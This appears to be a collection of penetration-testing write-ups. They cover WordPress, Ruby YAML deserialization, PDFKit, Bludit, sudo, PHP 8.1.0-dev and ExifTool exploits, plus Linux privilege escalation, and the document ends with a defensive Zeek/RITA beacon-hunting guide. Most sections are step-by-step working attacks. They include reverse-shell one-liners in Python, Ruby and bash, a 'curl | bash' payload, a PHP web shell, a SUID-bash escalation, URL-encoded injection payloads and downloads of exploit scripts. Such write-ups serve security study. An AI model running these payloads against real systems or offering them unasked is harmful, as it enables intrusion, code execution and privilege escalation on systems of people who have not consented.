WordPress could allow a remote attacker to obtain sensitive information, caused by improper handling of the static query property. By sending a specially-crafted HTTP request, an attacker could exploit this vulnerability to view private and draft posts.

Adding ?static=1 to a wordpress URL should leak its secret content.

However, there are a few ways to manipulate the returned entries:

  • order with asc or desc
  • orderby
  • m with m=YYYY, m=YYYYMM or m=YYYYMMDD date format
  • ...

In this case, simply reversing the order of the returned elements suffices and http://wordpress.local/?static=1&order=asc will show the secret content. This issue also discloses password protected and private posts

Affected Products

WordPress WordPress 5.2.3


1. We can get information about wordpress version from the web page

  • curl -X GET http://office.paper

2. You can run WPScan to identify the version

  • wpscan -e vp --url http://office.paper/

3. Inspecting the source code you can find the wordpress version

  • view-source:http://office.paper/

4. Searching around, I found an exploit for this particular version (https://www.exploit-db.com/exploits/47690)


1. So far we know that adding ?static=1 to a wordpress URL should leak its secret content.

Nomal request

  • http://office.paper/

After adding ?static=1

  • http://office.paper/?static=1


Upgrade to the latest version of WordPress (5.2.4 or later), available from the WordPress Web site. See References.









Get Website components version with Wappalyze

Wappalyzer is a web browser extension and online service that allows users to identify the technologies used on websites they visit. It provides information about the software frameworks, content management systems (CMS), programming languages, analytics tools, and other technologies employed by a website.

Here are some key features of Wappalyzer:

  • Technology Identification: Wappalyzer scans websites and analyzes various aspects to identify the technologies being utilized. It can detect CMS platforms like WordPress, Drupal, or Joomla, as well as frameworks like React, Angular, or Laravel.
  • Browser Extension: Wappalyzer is primarily available as a browser extension, supporting popular browsers such as Chrome, Firefox, and Edge. Once installed, the extension runs in the background and displays an icon or dropdown menu that reveals the technologies in use when visiting a website.
  • Detailed Reports: Wappalyzer provides detailed reports on the technologies found on a website. This includes information such as version numbers, JavaScript libraries, advertising networks, web servers, and more. The reports help users gain insights into the underlying infrastructure and tools employed by a website.
  • Online Service: In addition to the browser extension, Wappalyzer offers an online service where users can enter a website URL manually to get technology information. This service is helpful for situations where the browser extension is not installed or available.
  • Open Source: Wappalyzer is an open-source project, and its codebase is publicly available. This transparency allows for community contributions, improvements, and the development of custom integrations.

Wappalyzer is widely used by web developers, security professionals, marketers, and researchers to gather information about the technologies implemented on websites. It helps users understand the technological landscape of a site, which can be valuable for tasks such as competitor analysis, vulnerability assessments, or optimizing web development processes.

Please note that Wappalyzer relies on various detection techniques, including pattern matching, script analysis, and HTTP headers. While it is generally accurate, it may occasionally provide false positives or miss certain technologies due to factors like dynamic content loading or customized implementations.

Install & Use

1. Visit https://www.wappalyzer.com/apps/ to download the the extension according to the Browser

2. After selecting the browser type, in my case FireFox, I get redirected to (https://addons.mozilla.org/en-US/firefox/addon/wappalyzer/)

3. Install the plug in, and visit the website you want to scan

4. Run the plug in, by clicking the icon the browser

5. The plug in will show us the technologies used, also, some versions


Ruby – Insecure Deserialization – YAML (Privilege Escalation – Code Execution)

Understanding Insecure Deserialization

Deserialization is the process of transforming serialized data, such as YAML or JSON, back into its original form. Insecure deserialization occurs when untrusted data is deserialized without proper validation, leading to potential security risks. Attackers can exploit this vulnerability to execute arbitrary code, bypass authentication, or perform other malicious activities.

YAML in Ruby:

Ruby, a popular programming language known for its simplicity and flexibility, provides built-in support for YAML parsing. YAML (YAML Ain't Markup Language) is a human-readable data serialization format commonly used for configuration files and data exchange. However, YAML's ease of use can inadvertently introduce security vulnerabilities if not handled correctly.

Risks of Insecure Deserialization:

Insecure deserialization in Ruby's YAML parser can have severe consequences. Attackers may manipulate serialized data to exploit vulnerable code paths, leading to remote code execution or denial of service attacks. It's crucial to understand the potential risks and adopt preventive measures.

The pre-requisites are as follows:

  1. The ActiveSupport gem must be installed and loaded.
  2. ERB from the standard library must be loaded (which Ruby does not load by default).
  3. After deserialization, a method that does not exist must be called on the deserialized object.

While these pre-requisites will almost certainly be fulfilled in the context of any Ruby on Rails web application, they are rarely fulfilled by other Ruby applications.


Vulnerable code

Universal gadget for ruby <= 2.7.2:

Universal gadget for ruby 2.x - 3.x.



1. In this case we have an application that reads/runs “dependencies.yml”, it uses Yaml.load(File_read()) to load the file. This Ruby script was found to run as sudo without password, it also doesn’t specify the specify path for the file

  • sudo -l

2. If we read the file “update_dependencies.rb”, we will find yaml.load in the script, and it uses the function File_read()

  • cat /opt/update_dependencies.rb

3. Verify the ruby version

  • ruby -v

3. Now, its time to read “dependencies.yml

  • cat dependencies.yml


1. Now that we know the version of ruby we can apply the right syntax (Universal gadget for ruby 2.x - 3.x) in our case as ruby version is 2.7.4, we will create a file in /tmp , name it as “dependencies.yml”, and inject the Linux command “id”

  • cd /tmp
  • vi dependencies.yml
  • cat dependencies.yml

2. Run the command, we’ll notice the output of the “id” Linux command

  • sudo /usr/bin/ruby /opt/update_dependencies.rb

3. Knowing we can execute commands, we can try to elevate our privileges, in this case I will start a listener in my local machine, and run a ruby reverse shell to communicate on port 5555

Listener local machine

  • nc -lvp 5555

YAML payload in the remote machine

  • vi dependencies.yml
  • cat dependencies.yml
  • ADD: git_set: ruby -rsocket -e'spawn("sh",[:in,:out,:err]=>TCPSocket.new("",5555))'

4. Check the listener, you should have a reverse shell with privilege rights

Best Practices to Mitigate Insecure Deserialization:

To mitigate insecure deserialization vulnerabilities in Ruby YAML, developers should follow these best practices:

a. Validate Input: Implement strict input validation to ensure that only trusted data is deserialized.

b. Use Safe Loading: Enable safe loading mode during YAML parsing to restrict object creation to basic types, reducing the risk of code execution.

c. Employ Whitelisting: Restrict allowed classes during deserialization to prevent the creation of potentially dangerous objects.

d. Sanitize User Input: Treat user input as untrusted and sanitize it thoroughly before deserialization.

e. Regular Updates: Keep the Ruby interpreter, YAML library, and dependencies up to date to benefit from security patches and bug fixes.





Portswigger - Insecure Deserialization





Ruby PDFKit command execution – (RCE) – CVE-2022-25765

PDFKit could allow a remote attacker to execute arbitrary commands on the system, caused by improper URL validation. By sending a specially-crafted request, an attacker could exploit this vulnerability to execute arbitrary commands on the system.

Affected Products

PDFKit PDFKit 0.8.6


An application could be vulnerable if it tries to render a URL that contains query string parameters with user input:

  • PDFKit.new("http://example.com/?name=#{params[:name]}").to_pdf

If the provided parameter happens to contain a URL encoded character and a shell command substitution string, it will be included in the command that PDFKit executes to render the PDF:

  • irb(main):060:0> puts PDFKit.new("http://example.com/?name=#{'%20`sleep 5`'}").command wkhtmltopdf --quiet [...] "http://example.com/?name=%20`sleep 5`" - => nil

Calling to_pdf on the instance shows that the sleep command is indeed executing:

  • PDFKit.new("http://example.com/?name=#{'%20`sleep 5`'}").to_pdf # 5 seconds wait...

Of course, if the user can control completely the first argument of the PDFKit constructor, they can also exploit the command injection as long as it starts with "http":

  • PDFKit.new("http%20`sleep 5`").to_pdf


In this particular case, we have a web application that uses PDFKit PDFKit 0.8.6, to create a pdf file from user provided input.

1. First thing we should do is to identify the behavior of the application, so we enter input to generate the PDF

2. Also, capturing this request in Burpsuite, we can see that the application is running Ruby (X-Runtime: Ruby)

3. Now, we download and inspect the PDF file, looking for file info, using exiftool

  • exiftool uqjt61nr2irybs0v7t9qajtshcbvx1oj.pdf

Note: Here we can see the output of exiftool which indicates “Generated by pdfkit v0.8.6”


1. Knowing the file was generated with Ruby using the module pdfkit (version 0.8.6). We can start to test, this application against command injection, first of all, grab the request to create the PDF in Burlsuite, and, send it to Repeater.

2. We run the request normally

3. Now, try the basic test, http://%20`sleep 10`, the application should take longer to respond, as it ran sleep, you can also use the URL encoded, in my case only URL encoded worked

  • http://%20`sleep 10`
  • URL encoded: %68%74%74%70%3a%2f%2f%25%32%30%60%73%6c%65%65%70%20%31%30%60
  • As captured on the go: http%3A%2F%2F%2520%60sleep+10%60

4. If the application hangs for 10 seconds, it means the command worked. Now we can try networking. So, in this case I will set a listener in my Kali machine using TCPdump “sudo tcpdump -i tun0 icmp”

  • http://%20`ping -c 3`
  • URL enconded: %68%74%74%70%3a%2f%2f%25%32%30%60%70%69%6e%67%20%2d%63%20%33%20%31%30%2e%31%30%2e%31%34%2e%38%60

5. Knowing ICMP was send from the target to our local machine we can proceed to try reverse shells. First of all start a listener in your local machine “nc -lvp 4444”, then send the request to the web server.

  • http://%20`python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'`
  • URL encoded: %68%74%74%70%3a%2f%2f%25%32%30%60%70%79%74%68%6f%6e%33%20%2d%63%20%27%69%6d%70%6f%72%74%20%73%6f%63%6b%65%74%2c%73%75%62%70%72%6f%63%65%73%73%2c%6f%73%3b%73%3d%73%6f%63%6b%65%74%2e%73%6f%63%6b%65%74%28%73%6f%63%6b%65%74%2e%41%46%5f%49%4e%45%54%2c%73%6f%63%6b%65%74%2e%53%4f%43%4b%5f%53%54%52%45%41%4d%29%3b%73%2e%63%6f%6e%6e%65%63%74%28%28%22%31%30%2e%31%30%2e%31%34%2e%38%22%2c%34%34%34%34%29%29%3b%6f%73%2e%64%75%70%32%28%73%2e%66%69%6c%65%6e%6f%28%29%2c%30%29%3b%20%6f%73%2e%64%75%70%32%28%73%2e%66%69%6c%65%6e%6f%28%29%2c%31%29%3b%20%6f%73%2e%64%75%70%32%28%73%2e%66%69%6c%65%6e%6f%28%29%2c%32%29%3b%70%3d%73%75%62%70%72%6f%63%65%73%73%2e%63%61%6c%6c%28%5b%22%2f%62%69%6e%2f%73%68%22%2c%22%2d%69%22%5d%29%3b%27%60

Note: We got a connection back. The vulnerability has successfully been exploited


1. You may find user credentials in .bundle/config

  • cd /home/ruby/.bundle
  • cat config


Upgrade pdfkit to version or higher.















(Privilege Escalation) Linux Path hijacking

Linux path hijacking, also known as path traversal or privilege escalation, is a security vulnerability that occurs when an attacker manipulates the system's search path to execute malicious code or gain elevated privileges. This type of attack typically targets vulnerable applications that do not properly validate user-supplied input when searching for files or executing commands.

The $PATH environment variable plays a crucial role in Linux systems by defining a list of directories where the operating system searches for executable files. However, when applications fail to properly validate and sanitize user input when utilizing the $PATH variable, a vulnerability known as path hijacking or privilege escalation can arise.

Path hijacking occurs when an attacker manipulates the $PATH variable to force the system to execute a malicious file instead of the intended command. By placing a directory under their control at the beginning of $PATH, the attacker ensures their files are discovered first during the search process.

Here's an explanation of the path hijacking process:

  1. Path Environment Variable: Linux systems have an environment variable called "PATH" that contains a list of directories in which the system searches for executable files. When a command is executed, the system looks for the corresponding executable file in these directories in the order specified by the PATH variable.
  2. Finding a Vulnerable Application: The attacker looks for a vulnerable application that performs file operations or executes commands without properly validating user-supplied input or controlling the search path. For example, an application that uses relative paths or does not sanitize user input.
  3. Identifying the Vulnerable Path: The attacker identifies a vulnerable point in the application where the input is used to construct a file path or command without proper validation. The goal is to find a way to manipulate the path used by the application to execute arbitrary files or commands.
  4. Crafting the Attack: The attacker provides input that includes special characters or sequences to manipulate the path. These characters or sequences are designed to bypass security checks and allow the attacker to traverse directories or execute arbitrary files.
  5. Exploiting the Vulnerability: By carefully constructing the input, the attacker can trick the vulnerable application into executing a malicious file or command. This can lead to various consequences, such as arbitrary code execution, unauthorized access, or privilege escalation.

Example: Malicious Script Execution

Let's consider an application called "insecure_app" that executes a user-supplied script based on the value of $PATH. The code snippet below demonstrates this scenario:

In this case, an attacker modifies their own $PATH variable:

The attacker then creates a malicious script named "ls" in their "home/attacker" directory. Upon executing "insecure_app ls," the malicious script is run instead of the legitimate "ls" command.


1. We found a file being that can be executed with sudo permissions

  • sudo -l

2. Inspecting the file contents we see that it runs gzip to back up some files

  • cat /opt/scripts/access_backup.sh


1. Knowing we can execute this file with elevated permissions we proceed to play with its logic, first we will find out where is gzip located and if the location is included within $PATH environment variable

  • whereis gzip
  • echo $PATH

2. We can now proceed to modify the $PATH environment variable to point to /tmp and save our new script named “gzip” there, this basic script will create a new empty file in /tmp, we want to verify that the permissions are root

  • export PATH=/tmp:$PATH
  • echo $PATH
  • echo -ne '#!/bin/bash\ntouch test.txt' > gzip
  • chmod 777 gzip
  • sudo /opt/scripts/access_backup.sh

3. We confirmed that the test.txt file was created with the privileges of root. We can now further exploit this vulnerability by copying /bin/bash, making it accessible to anyone, and run it

  • echo -ne '#!/bin/bash\ncp /bin/bash /tmp/bash\nchmod 4755 /tmp/bash' > gzip
  • cat gzip
  • chmod 777 gzip
  • sudo /opt/scripts/access_backup.sh

4. Now run this new bash that has SUID bit set to elevate privileges

  • ./bash -p
  • whoami


To mitigate path hijacking vulnerabilities, several preventive measures should be taken:

  1. Validate and Sanitize User Input: Applications must carefully validate and sanitize any user-supplied input to prevent malicious manipulation of the $PATH variable.
  2. Absolute Paths: Avoid relying solely on the $PATH variable for command execution. Instead, use absolute paths to ensure the intended executable is executed.
  3. Least Privilege Principle: Limit the privileges of applications and users to minimize the potential impact of a successful path hijacking attack.
  4. Regular Updates: Keep the system and software up to date to benefit from security patches and fixes that address path hijacking vulnerabilities.






Execution After Redirect (EAR)

The web application sends a redirect to another location, but instead of exiting, it executes additional code. This weakness could affect the control flow of the application and allow execution of untrusted code.

This code redirects unauthorized users, but continues to execute code after calling http_redirect(). This means even unauthorized users may be able to access the contents of the page or perform a DoS attack on the server being queried. Also, note that this code is vulnerable to an IP address spoofing attack (CWE-212).

The PHP code checks if the user IP is allowed in $ipAllowList or not. If not, it will redirect them to the login page located at /login. But there’s no one telling the program to stop executing all the code after the redirect. So, all the code that should run only when a user has a valid session will also get executed. If we use a proxy tool such as BurpSuite or ZAP, we can modify the response of 302 Found redirect into a 200 OK response.


Consider a web application that has login functionality. Users who have an account can access content/features in this web application only by logging in. Unauthenticated users are redirected to the login page for them to first log in and get an authenticated session.

  • Send to repeater.
  • View response.

1. I ran a directory discovery using dirsearch and noticed a lot of redirects

2. I decided to access /accounts.php, and indeed got redirected to login.php

3. I decided to capture the request/response using a proxy (BurpSuite), send the request to Repeater and resend it.



Note: here we can see the HTTP code 302 redirection, in location we can see the redirection to login.php

4. In the same response we can see the code of accounts.php, instead of login.php

5. In order to bypass this in the browser, go to (Proxy – Proxy Settings – Match and replace rules), send traffic through the proxy

  • Type: Response header
  • Match: 30[12] Found #match either 301 or 302
  • Replace: 200 OK
  • Comment: VK9 redirection bypass
  • Check “Regex match”

6. Now that the redirection rule has been set to bypass 301-302 HTTP code, visit the page we’re trying to access /accounts.php



Proper termination should be performed after redirects. In a function a return should be performed. In other instances functions such as die() should be performed. This will tell the application to terminate regardless of if the page is redirected or not.









Sudo ALL keyword security bypass – Privilege Escalation – (CVE-2019-14287)

Sudo could allow a local authenticated attacker to bypass security restrictions , caused by an issue with running commands with arbitrary user ID. By using the ALL keyword in a Runas specification, an attacker could exploit this vulnerability to bypass security restrictions and execute arbitrary command on the system with root privileges.

Affected Products

Sudo 1.8.27


1. Find the version of sudo

  • sudo --version

2. Also, see the privileges on sudo (ALL, !root) is key

  • sudo -l


1. Run this command to trick sudo and execute /bin/bash as root, you need to use the current user password to authenticate sudo

  • sudo -u#-1 /bin/bash


Upgrade to the latest version of Sudo (1.8.28 or later), available from the Sudo Web site.








Bludit 3.9.2 code execution – Path Traversal (Authenticated) (CVE-2019-16113)

Bludit could allow a remote authenticated attacker to execute arbitrary code on the system, caused by improper validation of file types. By uploading a specially-crafted image file, an attacker could exploit this vulnerability to execute arbitrary code on the system with privileges of the application.

PHP code can be entered with a .jpg file name, and then this PHP code can write other PHP code to a ../ pathname.

Affected Products

Bludit Bludit 3.9.2


1. Being already authenticated as a log priviledge user, we can check the version of the platform by looking at the site source code page, in our case 3.9.2

2. You can also use curl to get the page source code, then filter by version

  • curl


1. Knowing this version is vulnerable to CVE-2019-16113, we can try to upload an image, in the main page click on content, or, visit

2. Click on “Images”, choose the image and upload it

3. Click on “Insert”, and then save the post

3. Now try to locate the place where the image is located, you can search for the publication, right click the image and click on “Open Image”, it will take you to the location of the file, in this case:


4. Now that we know how to locate the file, we can try to upload php code, do the same steps (1-3), but this time upload a file that has code

  • vi exploit.php
  • <?php echo "Follow us." ?>

Note: we get a warning that only (gif, png, jpg, jpeg, svg) are permitted extensions. So, first we try to change the name of our file, second, we try to upload the file again.

  • mv exploit.php exploit.png

5. Now you can try to right click on that empty square, then click on image, to find the location of the file

6. If we try to view this image it will give us an error


7. Now using BurpSuite we will try to upload again, and play with the HTTP request

8. We already know the path where the files are saved (/bl-content/uploads/pages/0782f3f4a2ac06cd19d47d03181433a7/exploit.png), so we can exploit the variable named “UUID”, to set the path were the file will be saved, we will send this request to BrupSuite Repeater

  • ../../tmp
  • (ALTERNATIVE) ../../uploads

Note: this will, create the file and folder if necessary, in the response we need to have “Images Uploaded” with 200 OK Server response code

9. Now locate the file within the specified directory


10. Open the file, and the PHP code should be executed


11. Now using the same request in BurpSuite repeater we can modify the code to execute, in this case I will set a system variable to execute code, I will change the filename also to exploi2.png

  • <?php echo shell_exec($_GET['cmd']); ?>

12. Check the location again and find the new file


13. Open the file, in the URL use the cmd variable to execute code, we will first try whoami command


14. Knowing we can now execute commands we can try to run a reverse shell, first start a listener in the local attacker machine

  • nc -lvp 4444

15. Now use python to execute the reverse shell connection

  • -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

16. Looking at the listener we should have a connection back


1. Having access to the server we can find users and passwords that can be used to further exploit, move your console to the root directory of the web application, in my case (/var/www/bludit-3.9.2)

  • cd /var/www/bludit-3.9.2
  • find . -name users.php 2> /dev/null

2. We can read those files and look for user evidence

  • cat ./bl-content/databases/users.php


See vendor documentation, and upgrade to a recent version.









Bludit 3.9.2 – Auth Bruteforce Bypass (CVE-2019-17240)

Bludit could allow a remote attacker to bypass security restrictions, caused by a flaw in the bl-kernel/security.class.php. By using many different forged X-Forwarded-For or Client-IP HTTP headers, an attacker could exploit this vulnerability to bypass a brute-force protection mechanism.

Versions prior to and including 3.9.2 of the Bludit CMS are vulnerable to a bypass of the anti-brute force mechanism that is in place to block users that have attempted to incorrectly login 10 times or more. Within the bl-kernel/security.class.php file, there is a function named getUserIp which attempts to determine the true IP address of the end user by trusting the X-Forwarded-For and Client-IP HTTP headers:

The reasoning behind the checking of these headers is to determine the IP address of end users who are accessing the website behind a proxy, however, trusting these headers allows an attacker to easily spoof the source address. Additionally, no validation is carried out to ensure they are valid IP addresses, meaning that an attacker can use any arbitrary value and not risk being locked out.

As can be seen in the content of the log file below (found in bl-content/databases/security.php), submitting a login request with an X-Forwarded-For header value of FakeIp was processed successfully, and the failed login attempt was logged against the spoofed string:

By automating the generation of unique header values, prolonged brute force attacks can be carried out without risk of being blocked after 10 failed attempts, as can be seen in the demonstration video below in which a total of 51 attempts are made prior to recovering the correct password.

Affected versions

Bludit 3.9.2


1. Access the Bludit main page

2. Check the source code of the log in page, in the HTML header you can find the application version

Exploit (Script 1)

1. This script runs a list of passwords against a single user (you have to know the user.

  • git clone https://github.com/pingport80/CVE-2019-17240.git
  • cd CVE-2019-17240

2. Run the script enter the username and locate the password file, you can also set the number of threads to use. Once the script finds a match it will stop automatically

  • python3 brute.py -u -user fergus -w ../wordlist.txt -t 20


Update to a version later than 3.9.2 or apply the patch found at https://github.com/bludit/bludit/pull/1090









MOTD – Privilege Escalation

Having permissions to modify /etc/update-motd.d/00-header allows us to inject code and execute it at the time of a user logging in, the code will be executed by the SSH service owner, most likely root


1. Check the current permissions of the user

  • id

2. Verify the folder and file permissions

  • ls -ld /etc/update-motd.d
  • ls -lR /etc/update-motd.d/

As we can see our user is part of the sysadmin group which has RWX permissions.


1. Modify the file /etc/update-motd.d/00-header, probably add a reverse shell

  • echo 'bash -c "bash -i >& /dev/tcp/ 0>&1"' >> /etc/update-motd.d/00-header

2. Start a listener in the attacker machine

  • nc -lvp 4444

3. Log again

  • ssh sysadmin@

4. Check the listener and there should be a reverse shell


Assign proper permissions to the files in /etc/update-motd.d


Knive – Privilege Escalation

knife is a command-line tool that provides an interface between a local chef-repo and the Chef Infra Server.

This program can be abused, if improper permissions are given


1. Check user sudo permissions

  • sudo -l



It can be used to break out from restricted environments by spawning an interactive system shell.

  • knife exec -E 'exec "/bin/sh"'


If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.

  • sudo knife exec -E 'exec "/bin/sh"'
  • whoami


Assign proper rights to users, by following general user management procedures

PHP 8.1.0-dev Backdoor Remote Code Execution (RCE)

PHP verion 8.1.0-dev was released with a backdoor on March 28th 2021, but the backdoor was quickly discovered and removed. If this version of PHP runs on a server, an attacker can execute arbitrary code by sending the User-Agentt header.

The original code was restored after the issue was discovered, but then tampered with a second time. The breach would have created a backdoor in any websites that ran the compromised version of PHP, enabling hackers to perform remote code execution on the site.


1. One of the ways to identify if a website is using PHP 8.1.0-dev, is to make a query using Curl, and print out the headers by identifying the server response

  • curl --head

2. This can also be gotten from BurpSuite, in the server response


Script 1 (PHP 8.1.0-dev - 'User-Agentt' Remote Code Execution)

1. This script automatically exploits user-agentt, and provides a shell (https://www.exploit-db.com/exploits/49933)

  • curl https://www.exploit-db.com/download/49933 -o exploit.py
  • ls -l exploit.py

2. Run it against the vulnerable web site

  • python3 exploit.py
  • whoami

Script 2 (Reverse Shell)

1. Download the script from (https://github.com/flast101/php-8.1.0-dev-backdoor-rce/blob/main/revshell_php_8.1.0-dev.py)

2. I named the file as exploit2.py

  • python3 exploit2.py -h

3. Start a listener, in the attacker machine

  • nc -lvp 3333

4. Run the command with the following data

  • python3 exploit2.py 3333

5. Check the listener, and there should be a connection back


Upgrade to a newer version, visit the vendor information for more info






ExifTool 12.23 – Arbitrary Code Execution – (Privilege escalation) – CVE-2021-22204

ExifTool could allow a local attacker to execute arbitrary code on the system, caused by improper neutralization of user data in the DjVu file format. By using a specially-crafted image file, an attacker could exploit this vulnerability to execute arbitrary code on the system.

Exiftool is a tool and library made in Perl that extracts metadata from almost any type of file. The vulnerability happens when Exiftool tries to parse the DjVu[4] filetype, more specifically the annotations field in the file structure.

To trigger the vulnerable function, we need to create a valid DjVu file that contains an annotation chunk with the payload that will be executed by the eval function as Perl code.

Affected version

7.44 to 12.23


1. Check the tool version

  • exiftool -ver

2. Supported extensions

  • exiftool -listf

3. Using PSPY script, I noticed a script running quite often /opt/image-exif.sh, before that script I see cron being executed, so, I assume this is a scheduled task

  • ./pspy64

4. Reading the contents of /etc/crontab I confirm this is a scheduled task

  • less /etc/crontab

5. I tried to read the file, and I had permissions

  • ls -l /opt/image-exif.sh
  • cat /opt/image-exif.sh

6. Taking a look at the script, it does the following

  • inspect jpg files located in /var/www/html/subrion/uploads
  • it uses exiftool to read the file and store the EXIF data of each file in /opt/metadata

7. As we verified that exiftool is vulnerable, and it is running to a folder we can write files, we can upload a crafted JPG file so exiftool executes against it

Basic POC

1. Install the required binaries

  • sudo apt-get install -y djvulibre-bin

2. Create a file named payload, add the following code

  • vi payload
  • (metadata "\c${system('id')};")
  • cat payload

3. (OPTIONAL) Compress our payload file with to make it non human-readable

  • bzz payload payload.bzz

4. Convert our payload into .djvu file

# INFO = Anything in the format 'N,N' where N is a number

# BGjp = Expects a JPEG image, but we can use /dev/null to use nothing as background image

# ANTz = Will write the compressed annotation chunk with the input file

  • djvumake exploit.djvu INFO='1,1' BGjp=/dev/null ANTz=payload.bzz

5. Transfer this file to the victim machine and run exitftool against it, the output should show the contents of “id” command also

  • cd /tmp
  • wget
  • exiftool exploit.djvu

Note: Now we have our basic exploit for Exiftool. But a DjVu file isn’t of much use for us, because it is not accepted in most of the file uploads that we find in the wild. Our next goal is to put the malicious payload and execute it from a JPEG file.

Exploitation (Manual)

1. Knowing exiftool’s installed version and confirming it is vulnerable to CVE-2021-22204 (7.44 to 12.23), we proceed to exploit it

  • vi exploit.sh


python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

2. Create the payload

  • vi payload
  • (metadata "\c${system ('curl | bash')};")

3. Now create a djvu file

  • djvumake exploit.djvu INFO=0,0 BGjp=/dev/null ANTa=payload

4. Proceed to change the file name to look like .jpg

  • mv exploit.djvu exploit.jpg

5. Start the listener and the web server for the file transfer

  • python3 -m http.server 8081
  • nc -lvp 4444

6. Transfer to the remote machine

  • cd /var/www/html/subrion/uploads
  • wget

Note: As we noticed before, there was a script running in the remote victim machine, it was using exiftool as a scheduled task to inspect jpg files in /var/www/html/subrion/uploads, I will upload exploit.jpg and wait for the task to execute

7. Wait for exiftool to execute the code as per the scheduled task in this case

Alternative commands

This way we get to inject the response within copyright header

  • wget -qO sample.jpg placekitten.com/200
  • file sample.jpg
  • printf 'P1 1 1 1' > input.pbm
  • cjb2 input.pbm mask.djvu
  • djvumake exploit.djvu Sjbz=mask.djvu
  • echo -e '(metadata (copyright "\\\n" . `id` #"))' > input.txt
  • djvumake exploit.djvu Sjbz=mask.djvu ANTa=input.txt
  • exiftool '-GeoTiffAsciiParams<=exploit.djvu' sample.jpg
  • perl -0777 -pe 's/\x87\xb1/\xc5\x1b/g' < sample.jpg > exploit.jpg

Exploit (Metasploit)

1. Metasploit has an automated script that creates the .jpg file with a payload

  • use exploit/unix/fileformat/exiftool_djvu_ant_perl_injection
  • show options

2. Set the payload (I’ll use default) and the LHOST. It will create a file in your home folder in this case (/home/vry4n/.msf4/local/msf.jpg)

  • set LHOST
  • exploit

3. Start a listener, set the same payload as in the previous module

  • use exploit/multi/handler
  • set payload cmd/unix/python/meterpreter/reverse_tcp

4. Set the payload IP as in the previous module, and run it

  • set LHOST
  • exploit

5. Transfer the file we created into the remote machine, and wait for the task to execute it

  • wget

Exploit (Script)

1. We can also use scripts out on the internet in this case (https://github.com/convisolabs/CVE-2021-22204-exiftool)

  • git clone https://github.com/convisolabs/CVE-2021-22204-exiftool.git
  • cd CVE-2021-22204-exiftool

2. Edit the exploit.py script, we only need to add our IP address for the reverse shell

  • vi exploit.py

3. Run the script, the script will create a file named image.jpg

  • python exploit.py
  • ls

4. Start a listener using the same port as in the exploit.py file, in this case 9090

  • nc -lvp 9090

5. Transfer the file into the server and wait for the schedule task to act on it

  • wget

Exploit 2 (Script)

1. There is this other script that allows us to run commands (https://github.com/bilkoh/POC-CVE-2021-22204)

  • git clone https://github.com/bilkoh/POC-CVE-2021-22204.git
  • cd POC-CVE-2021-22204

2. Run the script and define the command, a file named notevil.jpg will be created

  • perl build_image.pl "chmod +s /bin/bash"

3. Transfer the file into the remote server, and, wait for the schedule task to execute exiftool

  • wget
  • ls -l /bin/bash



Exploit 3 (Script)

1. There is a script in exploit-db that also abuses this vulnerability (https://www.exploit-db.com/exploits/50911)

  • wget https://www.exploit-db.com/raw/50911 -O

2. Run it to see its options

  • python 50911

3. We can create a file that runs a command, the script creates a image file

  • python 50911 -c "mkdir /tmp/Vry4n_test"
  • file image.jpg

4. Transfer the file into the server and have it run

  • cd /tmp
  • wget
  • ls

5. Run exiftool against image.jpg, a folder should be created

  • exiftool image.jpg
  • ls

6. Now, let’s set up a reverse shell, start a listener in the local computer

  • nc -lvp 7777

7. Run the script as follows

  • python 50911 -s 7777

8. Now, transfer the file into the remote machine and have exiftool run

  • exiftool image.jpg

9. We can also use our own image

  • python 50911 -s <local-IP> <local-port> [-i <image.jpg>]


ExifTool has already been patched in version 12.24. exiftool-vendored, which vendors ExifTool, includes this patch in v14.3.0.










Finding beacons: ZEEK + RITA

Once, the tools have been properly installed. Start analyzing packet captures. For demonstration purposes I will use (https://www.activecountermeasures.com/malware-of-the-day-zeus/)

How to

1. Check the pcap info

  • capinfos zeus_1hr.pcap

2. Parse the pcap file using zeek

  • sudo zeek --no-checksums --readfile zeus_1hr.pcap
  • ls

Note: As a result we get a lot of log files separated by protocol

3. We can read these log files using less

  • less -Sx20 files.log

4. We can use head to grab the column name, and filter the log document using zeek-cut, lets look at conn.log

  • head conn.log | grep fields
  • cat conn.log| zeek-cut id.orig_h id.orig_p id.resp_h id.resp_p duration


id.orig_h = Source IP

id.orig_p = Source port

id.resp_h = Destination IP

id.resp_p = Destination port

duration = session duration

Find long connections

1. Knowing how to filter columns we can proceed to sort them, in order to find long connections, sort by duration

  • cat conn.log| zeek-cut id.orig_h id.orig_p id.resp_h id.resp_p duration | sort -k5rn

2. Now we can remove the “-“ connections and add the time of unique sessions using datamash (sort and datamash work with columns)

  • cat conn.log| zeek-cut id.orig_h id.orig_p id.resp_h id.resp_p duration | sort | grep -v "-" | grep -v "^$" | datamash -g 1,3 sum 5 | sort -k3rn

3. We can also search for multiple unique sessions via http protocol

  • cat http.log | zeek-cut id.orig_h id.resp_h | sort | uniq -c | sort -rn

4. We can now check the pcap file for requests going to the host that has highest

  • sudo ngrep -qI zeus_1hr.pcap "GET /" host

Note: We can search for the values in there such as the URI or domain name of the server on the internet to see if there is any association with malware in our case it shows it is part of Zeus malware

5. We can enumerate ports and services

  • cat conn.log| zeek-cut service | grep -v "-" | sort | uniq -c | sort -nr

6. We can also convert duration to time

  • cat conn.log| zeek-cut -d ts

7. We can also filter by column using awk command

  • cat conn.log| zeek-cut -d ts id.orig_h id.resp_h service | awk '{if($4 != "-" && $4 != "dns") print $1,$2,$3,$4}'

8. We can check conn.log to filter connections by source and count of sessions

  • cat conn.log| zeek-cut id.orig_h | sort | uniq -c | sort -rn

9. We can search for the top destinations

  • cat conn.log| zeek-cut id.resp_h | sort | uniq -c | sort -rn

10. Also filter by destination ports

  • cat conn.log| zeek-cut id.resp_p | sort | uniq -c | sort -rn

Note: Notice uncommon ports are visited more often than known ports such as 80, we can check for duration of the sessions and confirm the flow, in this example we noticed port 9200 has a persistent connection

